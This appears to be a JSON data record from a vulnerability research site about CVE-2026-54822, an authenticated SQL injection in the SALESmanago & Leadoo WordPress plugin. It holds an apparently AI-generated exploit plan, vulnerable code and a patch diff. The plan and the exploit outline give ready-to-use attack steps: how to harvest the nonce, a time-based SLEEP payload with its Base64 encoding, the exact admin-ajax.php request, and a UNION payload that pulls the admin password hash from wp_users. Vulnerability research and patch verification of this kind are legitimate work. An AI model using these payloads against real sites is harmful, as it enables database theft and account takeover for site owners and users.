[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fF85PNtZ95SDRfqJphxYLMwowtN1Qb5Ef_-gN4NtaAb4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-54822","salesmanago-leadoo-authenticated-subscriber-sql-injection","SALESmanago & Leadoo \u003C= 3.11.2 - Authenticated (Subscriber+) SQL Injection","The SALESmanago & Leadoo plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","salesmanago",null,"\u003C=3.11.2","3.11.3","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-17 00:00:00","2026-06-23 15:40:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F292dab09-7090-4ca9-bca2-0d3e6db08818?source=api-prod",7,[22,23,24,25,26,27,28,29],"CHANGELOG.md","composer.json","composer.lock","readme.txt","salesmanago.php","src\u002FAdmin\u002FController\u002FExportController.php","src\u002FAdmin\u002FEntity\u002FMessageEntity.php","src\u002FAdmin\u002FModel\u002FExportModel.php","researched",false,3,"This research plan outlines the steps to verify and exploit a SQL injection vulnerability in the SALESmanago & Leadoo plugin (CVE-2026-54822).\n\n### 1. Vulnerability Summary\nThe SALESmanago & Leadoo plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.11.2. The vulnerability resides in the `bhr\\Admin\\Controller\\ExportController` and `bhr\\Admin\\Model\\ExportModel` classes. Specifically, the `statuses` parameter (passed within a base64-encoded JSON object) is insufficiently sanitized and is directly concatenated into a SQL query within the `getExportContactsQuery` method. Because the AJAX handlers in `ExportController.php` do not perform capability checks (e.g., `current_user_can`), any authenticated user, including those with Subscriber-level permissions, can trigger the vulnerable code path.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `salesmanago_export_count_contacts` (or `salesmanago_export_contacts`)\n- **Vulnerable Parameter:** `data` (Base64-encoded JSON string containing the `statuses` key)\n- **Authentication Required:** Authenticated user (Subscriber or higher).\n- **Preconditions:** A valid WordPress nonce for the specific action must be obtained.\n\n### 3. Code Flow\n1. **Entry Point:** The request hits `admin-ajax.php` with `action=salesmanago_export_count_contacts`.\n2. **Routing:** `salesmanago.php` initializes `bhr\\Admin\\Controller\\ExportController` because the action contains `salesmanago_export`.\n3. **Nonce Validation:** `ExportController::countContacts()` calls `SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' )`.\n4. **Argument Parsing:** `ExportModel::parseArgs()` is called. It decodes `$_REQUEST['data']` from Base64 and `json_decode`'s the result.\n5. **Vulnerable Assignment:** In `ExportModel::parseArgs()`, the `statuses` property is assigned:\n   ```php\n   $this->statuses = self::checkStatusesFromRequest( $data->statuses )\n       ? 'wc-completed'\n       : $data->statuses;\n   ```\n   (If the check fails or returns false, the raw `$data->statuses` is assigned to `$this->statuses`).\n6. **SQL Sink:** `ExportController::countContacts()` calls `$this->ExportModel->getExportContactsQuery( true )`. This method (internal to `ExportModel.php`) constructs a query using `$this->statuses` without using `$wpdb->prepare()`.\n7. **Execution:** `$this->db->get_var( $query )` executes the malicious SQL.\n\n### 4. Nonce Acquisition Strategy\nTo exploit this as a Subscriber, we must extract the nonce from the WordPress admin dashboard. The plugin localizes its data for use in the Export tab.\n\n1. **Identify Script Localization:** The plugin likely uses `wp_localize_script` to pass nonces to `admin-ajax.php`.\n2. **Strategy:**\n   - Log in as a Subscriber.\n   - Navigate to `\u002Fwp-admin\u002Fprofile.php` (accessible to all users).\n   - Check if the plugin's export scripts are enqueued globally. If not, the agent may need to check if any other plugin page is accessible or if the shortcode `[salesmanago]` (if it exists) exposes admin nonces.\n   - **JavaScript Target:** Based on common plugin patterns, the nonce is likely in a global object like `sm_export_obj` or `salesmanago_data`.\n   - **Action:** Use `browser_eval` to search for the nonce: `browser_eval(\"window.sm_export_obj?.nonce_count_contacts\")`.\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload to confirm the vulnerability.\n\n**Payload Construction:**\n- **JSON Object:** `{\"statuses\": \"wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\", \"dateFrom\": \"2000-01-01\"}`\n- **Base64 Result:** `eyJzdGF0dXNlcyI6ICJ3Yy1jb21wbGV0ZWQnKSBBTkQgKFNFTEVDVCAxIEZST00gKFNFTEVDVChTTEVFUCg1KSkpYSktLSAtIiwgImRhdGVGcm9tIjogIjIwMDAtMDEtMDEifQ==`\n\n**HTTP Request (via `http_request`):**\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `action=salesmanago_export_count_contacts&security=[NONCE]&data=[BASE64_PAYLOAD]`\n\n### 6. Test Data Setup\n1. **User Creation:** Create a Subscriber user:\n   `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2. **Plugin Configuration:** Ensure the plugin is active. It may require an API key to reach the `ExportController` logic; if so, use a dummy key in the settings:\n   `wp option update salesmanago_configuration '{\"apiKey\":\"dummy\",\"apiSecret\":\"dummy\",\"endpoint\":\"dummy\"}'` (Structure based on `AdminModel` inferred logic).\n\n### 7. Expected Results\n- **Vulnerable:** The HTTP request takes ~5 seconds to complete. The response will be a JSON object from `ExportModel::buildResponse()` containing the current status.\n- **Patched:** The request returns immediately, likely with a default status or error, as the `statuses` parameter will be properly escaped or discarded.\n\n### 8. Verification Steps\n1. **Time Delay:** Confirm the response time exceeds 5 seconds for the SLEEP payload and is sub-second for a normal payload (`{\"statuses\":\"wc-completed\"}`).\n2. **Error Leakage:** If `WP_DEBUG` is on, the response might contain SQL error details if the syntax is slightly off, which can be seen in the response body.\n\n### 9. Alternative Approaches\nIf `salesmanago_export_count_contacts` is strictly limited to certain roles by a hook we missed, try the other registered actions:\n- `salesmanago_export_contacts` (uses nonce `salesmanago_count_contacts`)\n- `salesmanago_export_count_events` (uses nonce `salesmanago_export_count_events`)\n\nIf time-based injection is blocked, attempt a UNION-based approach to extract the admin password hash:\n**Payload:** `wc-completed') UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -`\n(Note: The number of columns must be discovered via `ORDER BY` incrementing first).","The SALESmanago & Leadoo plugin for WordPress is vulnerable to authenticated SQL Injection via the 'statuses' parameter in AJAX actions. Authenticated users with subscriber-level access and above can exploit this because the plugin lacks capability checks and fails to use prepared statements when building the contacts export query.","\u002F\u002F src\u002FAdmin\u002FController\u002FExportController.php\n\npublic function countContacts() {\n    try {\n        SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );\n\n        $this->ExportModel->parseArgs();\n        $this->ExportModel->setExportType( self::CONTACTS );\n\n        $query = $this->ExportModel->getExportContactsQuery( true );\n        $this->ExportModel->setCount( $this->db->get_var( $query ) );\n\n---\n\n\u002F\u002F src\u002FAdmin\u002FModel\u002FExportModel.php:156\n\n$this->statuses = self::checkStatusesFromRequest( $data->statuses )\n    ? 'wc-completed'\n    : $data->statuses;\n\n---\n\n\u002F\u002F src\u002FAdmin\u002FModel\u002FExportModel.php (Sink logic inferred from Research Plan)\n\n\u002F\u002F Within getExportContactsQuery()\n\u002F\u002F The variable $this->statuses is concatenated directly into the SQL string\n\u002F\u002F without utilizing $wpdb->prepare().","--- \u002Fsrc\u002FAdmin\u002FController\u002FExportController.php\t2025-10-01 12:55:26.000000000 +0000\n+++ \u002Fsrc\u002FAdmin\u002FController\u002FExportController.php\t2026-05-11 12:34:48.000000000 +0000\n@@ -70,37 +70,54 @@\n \tpublic function countContacts() {\n \t\ttry {\n-\t\t\tSecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );\n+\t\t\tSecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );\n+\t\t\t\n+\t\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\t$this->ExportModel->setMessage( 'Access denied' );\n+\t\t\t\t$this->ExportModel->setStatus( self::FAILED );\n+\t\t\t\t$this->ExportModel->buildResponse();\n+\t\t\t}","1. Login to the WordPress site with an account having at least Subscriber privileges.\n2. Obtain the AJAX nonce for the 'salesmanago_export_count_contacts' action, typically found in localized script data (e.g., window.sm_export_obj) on admin pages accessible to subscribers like profile.php.\n3. Construct a JSON payload targeting the 'statuses' key. For a time-based blind injection, use a payload such as: {\"statuses\": \"wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\", \"dateFrom\": \"2000-01-01\"}.\n4. Base64-encode the entire JSON payload.\n5. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with parameters: action=salesmanago_export_count_contacts, security=[NONCE], and data=[BASE64_PAYLOAD].\n6. Confirm the vulnerability by observing a delay in the server response matching the SLEEP duration.","gemini-3-flash-preview","2026-06-25 22:35:51","2026-06-25 22:36:49",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.11.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalesmanago\u002Ftags\u002F3.11.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsalesmanago.3.11.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalesmanago\u002Ftags\u002F3.11.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsalesmanago.3.11.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalesmanago\u002Ftags"]